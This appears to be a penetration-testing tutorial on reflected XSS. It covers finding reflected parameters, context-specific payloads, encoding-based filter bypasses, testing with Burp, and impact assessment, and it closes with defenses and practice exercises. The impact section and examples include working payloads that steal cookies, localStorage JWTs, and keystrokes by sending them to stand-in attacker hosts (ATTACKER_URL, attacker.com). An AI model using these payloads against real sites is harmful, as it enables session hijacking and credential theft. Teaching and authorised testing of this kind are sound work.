~/home/study/reflected-xss-basics-get-post

Reflected XSS Basics: GET/POST Parameter Injection for Pen Testers

Learn how to spot injectable parameters, craft reliable XSS payloads, bypass simple filters, test with dev tools and Burp, and assess the impact of cookie theft and session hijacking.

Introduction

Reflected Cross-Site Scripting (XSS) is the most common XSS variant encountered during web application assessments. It occurs when user-controlled data is echoed back in the HTTP response without proper output encoding. The classic vector is a GET or POST parameter that the server reflects directly into the HTML page.

Why does it matter? A successful reflected XSS lets an attacker execute arbitrary JavaScript in the victim’s browser, enabling cookie theft, session hijacking, credential harvesting, or even full-blown drive-by malware delivery. In the real world, reflected XSS is often the entry point for more sophisticated attacks such as login CSRF or DOM-based XSS chaining.

During bug bounty programs and penetration tests, you’ll spend a significant amount of time hunting for these low-hanging fruits. Mastering the basics‑identifying injectable parameters, crafting payloads, bypassing filters, and measuring impact‑forms the foundation for deeper XSS exploitation.

Prerequisites

  • HTML Basics - tags, attributes, document structure.
  • JavaScript Fundamentals - DOM manipulation, event handlers, document.cookie.
  • Understanding of the HTTP request/response cycle - headers, query strings, form encoding.

Core Concepts

At its core, reflected XSS follows a simple flow:

  1. The attacker crafts a URL (or a POST body) that contains malicious JavaScript.
  2. The victim clicks the link or submits a form.
  3. The web server receives the data, injects it into the HTML response without sanitisation, and sends it back.
  4. The browser parses the response, treats the injected script as native code, and executes it in the context of the vulnerable domain.

Because the payload is reflected immediately, there is no need for a stored payload or an additional request. This also means the attack surface is limited to any location where the server mirrors user input: page titles, search results, error messages, redirect URLs, HTTP headers (e.g., Referer), or even JSON responses that a browser later renders.

Two key properties make reflected XSS exploitable:

  • Context awareness: The payload must be valid for the exact HTML context where it is injected (e.g., inside a tag attribute, inside a script block, or inside plain text).
  • Browser execution model: Modern browsers will execute any valid JavaScript that appears in a scriptable context, regardless of how it arrived (URL, form field, header).

Identifying injectable parameters (query string, form fields, headers)

Before you can exploit XSS, you need to know where the application reflects user input. The following systematic approach works on any web target.

1. Enumerate the attack surface

  • Query strings: Anything after ? in a URL. Example: TARGET_URL/search?q=test.
  • POST bodies: Form fields (application/x-www-form-urlencoded or multipart/form-data).
  • Headers: Referer, User-Agent, Cookie, custom headers (e.g., X-Forwarded-For).
  • Path parameters: URL segments used as identifiers (e.g., /profile/12345).

2. Manual probing

Append a harmless marker such as <test> to each parameter and observe the response. Example:

curl "TARGET_URL/search?q=<test>" -s | grep -i "test"

If the marker appears in the HTML source, the parameter is a candidate for reflection.

3. Automated discovery with Burp Suite

Burp’s Scanner can be configured to run a lightweight XSS check that simply injects <script>alert(1)</script> and looks for the string in the response. For a more focused approach, use Intruder with a payload list containing:

<test>
<script>alert(1)</script>
%3Ctest%3E

Set the payload position to each parameter and enable grep-match to flag successful reflections.

4. Header injection

Some applications echo back request headers (e.g., custom error pages that display the Referer). Use curl to inject a marker:

curl -H "X-Forwarded-For: <test>" TARGET_URL -s | grep -i "test"

If you see the marker, you have a header‑based XSS vector.

Crafting payloads for script execution

Finding a reflection is only half the battle. The payload must break out of its context and execute JavaScript. Below are the most common contexts and corresponding payload patterns.

1. HTML element content

When the payload is placed directly inside the body (e.g., search results), a simple <script> tag works.

<script>alert('XSS')</script>

2. HTML attribute value

If the reflection occurs inside an attribute (e.g., <img src="...">) you need to close the attribute and inject an event handler.

" onmouseover="alert('XSS')"

Typical payload: " onerror="alert(1)" when injected into a src attribute.

3. JavaScript context (e.g., inside <script> or inline event)

When the reflected value is concatenated into a script string, you must break out of the string and terminate the statement.

';alert(document.cookie);//

4. URL context (e.g., window.location)

Sometimes the value is used in a redirect: Location: /?url=VALUE. Inject a JavaScript URI:

javascript:alert(document.cookie)

5. JSON / data‑attribute

When the server returns JSON that a page later parses, you can break the JSON and inject a script via eval or JSON.parse misuse. Example payload:

";alert(1);//

Always test the payload in the exact place you discovered the reflection; a payload that works in one context will likely fail in another.

Bypassing simple input filters (encoding, double‑encoding)

Many developers add naïve filters such as blacklisting <script> or stripping angle brackets. Modern browsers decode URL‑encoded and HTML‑entity encoded data before rendering, so attackers can bypass these filters by encoding the payload.

1. URL‑encoding

Encode the entire payload: %3Cscript%3Ealert%281%29%3C%2Fscript%3E. Most filters that only look for literal <script> will miss this.

2. HTML entity encoding

Replace < and > with &lt; and &gt;. Browsers will decode them back to characters before script execution.

<script>alert(1)</script>

3. Double‑encoding

Some filters decode once and then re‑apply the blacklist. Double‑encoding defeats this: %25253Cscript%25253Ealert%2525281%252529%25253C%25252Fscript%25253E (URL‑encode the already URL‑encoded payload).

4. Mixed encodings

Combine percent‑encoding and HTML entities: %26lt%3Bscript%26gt%3Balert%281%29%26lt%3B%2Fscript%26gt%3B. This works against filters that only look for one type of encoding.

5. UTF‑7 and other exotic encodings

Legacy browsers support UTF‑7, which can be abused to encode < as +ADw-. Though rarely useful today, it’s good to be aware of when assessing legacy applications.

When testing, start with a plain payload, then iterate through the encodings above until the server reflects the decoded version.

Testing with browser developer tools and Burp Suite

Both manual and automated testing benefit from the synergy of browser dev tools and Burp Suite.

1. Using the Elements panel

Inject a payload into a parameter, load the page, then open Chrome DevTools → Elements. Search (Ctrl+F) for your marker. If you see the raw payload, you have a reflection. If the payload is transformed (e.g., HTML‑escaped), note the transformation for later payload adaptation.

2. Console for real‑time execution

After the page loads, open the Console. If you injected alert('XSS') and it runs, the payload succeeded. If not, inspect the DOM to see where the payload landed.

3. Network tab for header injection

When testing headers, use the Network tab to view the request you sent and the response you received. Look for your marker in the Response preview.

4. Burp Suite – Intercept & Repeater

Set up an intercept, modify a request parameter or header, and forward it. Then copy the request to Repeater to iterate quickly over payloads.

# Example: modify a POST body in Burp Repeater
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=<script>alert(1)</script>

Observe the response in the Response pane. Use the Search feature (Ctrl+F) to locate the injected string.

5. Burp Intruder payload sets

Load a custom payload list that includes raw, URL‑encoded, and double‑encoded variants. Enable Grep‑Match with the pattern <script>|%3Cscript%3E|&lt;script&gt; to automatically flag reflections.

6. Burp Scanner (lightweight)

For a quick sanity check, enable the Active Scan with the XSS check only. It will automatically send a range of payloads and highlight vulnerable parameters.

Basic impact assessment (cookie theft, session hijacking)

Once you confirm that JavaScript executes, you need to evaluate the potential impact. The two most common goals are stealing session cookies and hijacking user sessions.

1. Cookie theft

Modern browsers set the HttpOnly flag on session cookies to prevent JavaScript access. However, many applications still expose non‑HttpOnly cookies (e.g., CSRF tokens, custom identifiers). A basic payload to exfiltrate cookies:

<script>fetch('ATTACKER_URL/steal?c='+document.cookie)</script>

If the target site uses HTTPS, the request will be sent over TLS, but the attacker’s server can still receive the data.

2. Session hijacking via token replay

Even if the session cookie is HttpOnly, you can often steal other authentication tokens (e.g., JWT stored in localStorage or a CSRF token in a hidden field). Example:

<script>var t=localStorage.getItem('jwt');fetch('ATTACKER_URL/jwt?t='+t)</script>

After obtaining the token, the attacker can impersonate the user by adding an Authorization: Bearer <token> header to API calls.

3. Browser‑based keylogging

Inject a script that captures keystrokes and sends them to the attacker:

<script>document.addEventListener('keydown',function(e){fetch('ATTACKER_URL/k?c='+e.key);});</script>

While not always practical, it demonstrates the breadth of damage a simple reflected XSS can cause.

4. Pivoting to internal network

By leveraging the victim’s browser, you can launch Cross‑Origin Resource Sharing (CORS) abuse, or make the browser request internal IPs and exfiltrate the response via fetch to your server.

When reporting, always include a proof‑of‑concept (PoC) that demonstrates a realistic impact, such as stealing a session cookie or performing an authenticated action.

Practical Examples

Below are three end‑to‑end scenarios that illustrate the workflow from discovery to exploitation.

Example 1 – GET parameter reflected in page title

  1. Navigate to TARGET_URL/search?q=hello.
  2. View source – you see <title>Search results for hello</title>. The q parameter is reflected in the <title> tag.
  3. Craft a payload that breaks out of the title context: <script>alert(document.domain)</script>.
  4. URL‑encode and send: TARGET_URL/search?q=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E.
  5. The browser pops an alert, confirming XSS.

Example 2 – POST form field reflected inside an attribute

Login page:

<form method="POST" action="/login"> <input name="username" /> <input type="password" name="password" />
</form>

After a failed login, the server returns:

<div class="error" data-msg="Invalid user: [USERNAME]"></div>

Replace [USERNAME] with the supplied username. The reflection is inside a custom attribute data-msg. To execute JavaScript, close the attribute and inject an event handler:

" onmouseover="fetch('ATTACKER_URL/steal?c='+document.cookie)"

Send a POST request via Burp Repeater:

POST /login HTTP/1.1
Host: vulnapp.com
Content-Type: application/x-www-form-urlencoded

username=%22%20onmouseover%3D%22fetch('http%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D'+document.cookie)%22&password=any

When the error div appears, hovering over it triggers the exfiltration.

Example 3 – Header injection in error page

Access a non‑existent page: the server returns a custom 404 page that displays the Referer header.

<div>You came from: <span>[REFERER]</span></div>

Inject via curl:

curl -e "<script>alert('header')</script>" TARGET_URL/doesnotexist -s | grep -i "script"

The script executes, proving that headers can be a vector.

Tools & Commands

  • Burp Suite Professional – Intruder, Repeater, Scanner, and Extension XSS Validator.
  • OWASP ZAP – Free alternative with active scan rules for reflected XSS.
  • curl – Quick command‑line testing.
    curl "TARGET_URL/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E" -s | grep -i "script"
  • ffuf – Fuzzing tool for mass‑parameter discovery.
    ffuf -u "TARGET_URL/search?q=FUZZ" -w payloads/xss.txt -mc 200
  • xsser – Automated XSS scanner that supports encoding tricks.
  • Chrome DevTools – Elements, Console, Network tabs for manual verification.

Defense & Mitigation

From a defensive standpoint, the goal is to ensure that any untrusted data is safely encoded before being placed into the HTML response.

  • Context‑aware output encoding – Use libraries such as OWASP Java Encoder, PHP htmlspecialchars() with ENT_QUOTES, or .NET HttpUtility.HtmlEncode. Encode based on context: HTML body, attribute, JavaScript, URL.
  • Content Security Policy (CSP) – Deploy a strict CSP that disallows unsafe-inline and restricts script sources to trusted domains. This mitigates the impact even if an XSS slip occurs.
  • HttpOnly & Secure flags – Mark session cookies as HttpOnly and Secure to prevent JavaScript access and enforce TLS.
  • Input validation – Prefer whitelist validation (e.g., allow only alphanumeric characters) over blacklist filtering.
  • Framework auto‑escaping – Use modern templating engines (e.g., React, Angular, Twig) that escape output by default.
  • Security testing in CI/CD – Integrate automated XSS scanners (e.g., ZAP baseline) into the build pipeline.

Common Mistakes

  • Relying on blacklists – Removing <script> alone is insufficient; attackers can use event handlers, SVG, or data URIs.
  • Forgetting about header reflections – Many developers overlook that error pages or logging mechanisms may echo request headers.
  • Testing only with raw payloads – Modern filters often decode once; always test encoded variants.
  • Assuming HttpOnly protects everything – Non‑HttpOnly tokens (CSRF, JWT) are still vulnerable.
  • Not checking multiple contexts – A parameter may appear in several places (title, attribute, script) on the same page.

Real‑World Impact

Reflected XSS continues to be a high‑severity issue in bug bounty platforms. In 2023, the top 10 % of XSS reports accounted for over 30 % of total bounty payouts on HackerOne. Attackers frequently chain reflected XSS with login CSRF to hijack accounts without user interaction beyond clicking a malicious link.

Case Study (hypothetical): A financial services portal reflected the search query in a <div> without encoding. An attacker crafted a link that, when clicked by an employee, exfiltrated the employee’s SSO token stored in localStorage. The attacker then performed authenticated fund transfers. The breach cost the company $2.4 M and forced a full security redesign.

Trends: With the rise of Single‑Page Applications (SPA) that heavily use client‑side rendering, reflected XSS vectors have shifted toward JSON endpoints and template literals. Attackers now exploit template injection in frameworks like Handlebars or Mustache, which behave similarly to reflected XSS.

Practice Exercises

  1. Parameter discovery: Use ffuf against a deliberately vulnerable DVWA instance to locate all reflected parameters.
  2. Payload crafting: Write three payloads that work in body, attribute, and JavaScript contexts respectively. Test them against a local Flask app that echoes the input.
  3. Bypass filters: Apply single, double, and mixed encodings to bypass a simple strip_tags() filter in a PHP demo site.
  4. Header injection: Send a custom X-Forwarded-For header containing a script tag to a vulnerable error page and verify execution.
  5. Impact simulation: Create a PoC that steals document.cookie and sends it to a listener you host with nc -lvkp 8080. Verify the data arrives.

For each exercise, capture screenshots of the request, response, and any alerts or exfiltrated data. Document the encoding technique used and why it succeeded.

Further Reading

  • OWASP XSS (Cross Site Scripting) Cheat Sheet – comprehensive list of payloads and mitigations.
  • PortSwigger Web Security Academy – “Reflected Cross‑Site Scripting (XSS)” module.
  • “The Tangled Web” by Michal Zalewski – deep dive into browser parsing quirks.
  • HTML5 Security Cheat Sheet – modern contexts like srcdoc and javascript: URIs.
  • Advanced XSS – DOM‑based, Mutation XSS, and Template Injection.

Summary

Reflected XSS remains a potent entry point for attackers. By systematically identifying injectable parameters, mastering context‑aware payloads, and employing encoding tricks, you can reliably discover vulnerabilities. Complement manual probing with Burp Suite’s automation, and always assess impact through realistic exfiltration scenarios. Defenders must adopt context‑aware encoding, CSP, and secure cookie flags to mitigate risk. Mastery of these basics paves the way for tackling more complex XSS variants and integrating XSS testing into a robust application security program.